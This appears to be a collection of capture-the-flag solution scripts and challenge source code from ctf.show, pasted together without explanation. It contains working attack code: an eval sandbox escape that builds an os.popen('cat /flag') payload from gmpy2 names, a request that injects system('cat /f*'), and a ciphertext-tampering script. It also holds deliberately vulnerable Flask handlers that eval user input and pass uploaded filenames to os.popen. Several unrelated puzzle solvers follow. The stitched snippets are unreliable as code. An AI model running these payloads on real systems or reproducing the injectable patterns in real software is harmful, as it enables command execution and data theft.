import request

url = "http://localhost:9090/"

data = "_=_0&"

code = "_34=system('cat /f*')"

for i in range(0,34):

    data = data + "_" +str(i) + "=" + "_" + str(i+1) + "&"

data = data + code

print(data)

r = requests.post(url=url,data=data)

print(r.text)

@app.route('/tiesuanzi', methods=['POST'])

def tiesuanzi():

    code=request.form.get('code')

    for item in pattern.findall(code):#从 code 里把单词拿出来

        if not re.match(r'\d+$',item):#如果不是数字

            if item not in dir(gmpy2):#逐个和 gmpy2 库里的函数名比较

               return jsonify({"result":1,"msg":f"你想干什么？{item}不是有效的函数"})

    try:

        result=eval(code)

        return jsonify({"result":0,"msg":f"计算成功，答案是{result}"})

    except:

        return jsonify({"result":1,"msg":f"没有执行成功，请检查你的输入。"})

>>> dir(gmpy2)

['Default', 'DivisionByZeroError', 'HAVE_THREADS', 'InexactResultError', 'InvalidOperationError', 'OverflowResultError', 'RangeError', 'RoundAwayZero', 'RoundDown', 'RoundToNearest', 'RoundToZero', 'RoundUp', 'UnderflowResultError', '_C_API', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__path__', '__spec__', '_mpmath_create', '_mpmath_normalize', 'acos', 'acosh', 'add', 'agm', 'ai', 'asin', 'asinh', 'atan', 'atan2', 'atanh', 'bincoef', ……]

s="__import__('os').popen('cat /flag').read()"

import gmpy2

payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

##'erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]==eval

for i in s:

        if i not in "/'(). ":

                temp_index=0

                temp_string='x'*20

                for j in dir(gmpy2):

                        if j.find(i)>=0:

                                if len(j)<len(temp_string):

                                        temp_string=j

                                        temp_index=j.find(i)

                payload+=f'\'{temp_string}\'[{temp_index}]+'

        else:

                payload+=f'\"{i}\"+'

payload=payload[:-1]+')'

print(payload)

from flask import request

cmd: str = request.form.get('cmd')

param: str = request.form.get('param')

# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓

import subprocess, os

if cmd is not None and param is not None:

    try:

        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)

        print('Done!')

    except subprocess.TimeoutExpired:

        print('Timeout!')

    except:

        print('Error!')

else:

    print('No Flag!')

# !/usr/bin/env python

# -*-coding:utf-8 -*-

"""

# File       : app.py

# Time       ：2022/10/20 15:16

# Author     ：g4_simon

# version    ：python 3.9.7

# Description：TSTEG-WEB

# flag is in /app/flag.py

"""

from flask import *

import os

#初始化全局变量

app = Flask(__name__)

@app.route('/', methods=['GET'])

def index():    

    return render_template('upload.html')

@app.route('/upload', methods=['GET', 'POST'])

def upload_file():

    if request.method == 'POST':

        try:

            f = request.files['file']

            f.save('upload/'+f.filename)

            cmd="python3 tsteg.py upload/"+f.filename

            result=os.popen(cmd).read()

            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}

            return jsonify(data)

        except:

            data={"code":1,"message":"file upload error!"}

            return jsonify(data)

    else:

        return render_template('upload.html')

@app.route('/source', methods=['GET'])

def show_source():

    return render_template('source.html')

if __name__ == '__main__':

    app.run(host='0.0.0.0',port=80,debug=False)

import requests

import json

import base64

import random

url='http://xxxxxxxxxxxxxxxxxxxxxx/'

s=requests.session()

username=str(random.randint(1,100000))

print(username)

r=s.get(url+'?username='+username)

responses=[]

for i in range(10):

        r=s.get(url+'find_dragonball')

        responses.append(json.loads(r.text))

for item in responses:

	data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})

        miwen=base64.b64decode(item['address'])

        round_no=item['round_no']

        if round_no in [str(i) for i in range(1,8)]:

                fake_address=miwen[:64]+miwen[80:]

                fake_address=base64.b64encode(fake_address).decode()

                r=s.get(url+'get_dragonball',params={"address":fake_address})

r=s.get(url+'flag')

print(r.text)

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"

strings = open('misc4.txt').read()  # 文件打开处

result = {}

for i in alphabet:

    counts = strings.count(i)

    i = '{0}'.format(i)

    result[i] = counts

res = sorted(result.items(), key = lambda item: item[1], reverse = True)

for data in res:

    print(data)

for i in res:

    flag = str(i[0])

    print(flag[0], end = "")

input_filename = "misc5.png"  # 输入文件名

output_filename = "output.png"  # 输出文件名

# 打开输入文件以及创建输出文件

with open(input_filename, "rb") as input_file, open(output_filename, "wb") as output_file:

    while True:

        byte = input_file.read(1)  # 逐字节读取输入文件

        if not byte:

            break  # 如果没有更多字节可读，退出循环

        byte_value = ord(byte)  # 将字节转换为整数

        xored_byte = byte_value ^ 0x50  # 对字节进行异或操作

        output_file.write(bytes([xored_byte]))  # 将结果字节写入输出文件

import requests

from lxml import html

import cv2

import numpy as np

import json

url="http://0095371d-eeec-4e9d-929b-046aaeb84249.challenge.ctf.show/"

sess=requests.session()

all_girl=sess.get(url+'/static/all_girl.png').content

with open('all_girl.png','wb')as f:

        f.write(all_girl)

big_pic=cv2.imdecode(np.fromfile('all_girl.png', dtype=np.uint8), cv2.IMREAD_UNCHANGED)

big_pic=big_pic[50:,50:,:]

image_alpha = big_pic[:, :, 3]

mask_img=np.zeros((big_pic.shape[0],big_pic.shape[1]), np.uint8)

mask_img[np.where(image_alpha == 0)] = 255

cv2.imwrite('big.png',mask_img)

def answer_one(sess):

        #获取视频文件

        response=sess.get(url+'/check')

        if 'ctfshow{' in response.text:

                print(response.text)

                exit(0)

        tree=html.fromstring(response.text)

        element=tree.xpath('//source[@id="vsource"]')

        video_path=element[0].get('src')

        video_bin=sess.get(url+video_path).content

        with open('Question.mp4','wb')as f:

                f.write(video_bin)

        #获取有效帧

        video = cv2.VideoCapture('Question.mp4')

        frame=0

        while frame<=55:

                res, image = video.read()

                frame+=1

        #cv2.imwrite('temp.png',image)

        video.release()

        #获取剪影

        image=image[100:400,250:500]

        gray_image=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)

        #cv2.imwrite('gray_image.png',gray_image)

        temp = np.zeros((300, 250), np.uint8)

        temp[np.where(gray_image>=128)]=255

        #去白边

        temp = temp[[not np.all(temp[i] == 255) for i in range(temp.shape[0])], :]

        temp = temp[:, [not np.all(temp[:, i] == 255) for i in range(temp.shape[1])]]

        #缩放至合适大小，肉眼大致判断是 1.2 倍，不一定准

        temp = cv2.resize(temp,None,fx=1.2,fy=1.2)

        #查找位置

        res =cv2.matchTemplate( mask_img,temp,cv2.TM_CCOEFF_NORMED)

        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)

        x,y=int(max_loc[0]/192),int(max_loc[1]/288)#为什么是 192 和 288，因为大图去掉标题栏就是 1920*2880

        guess='ABCDEFGHIJ'[y]+'0123456789'[x]

        print(f'guess:{guess}')

        #传答案

        response=sess.get(url+'/submit?guess='+guess)

        r=json.loads(response.text)

        if r['result']:

                print('guess right!')

                return True

        else:

                print('guess wrong!')

                return False

i=1

while i<=31:

        print(f'Round:{i}')

        if answer_one(sess):

                i+=1

        else:

                i=1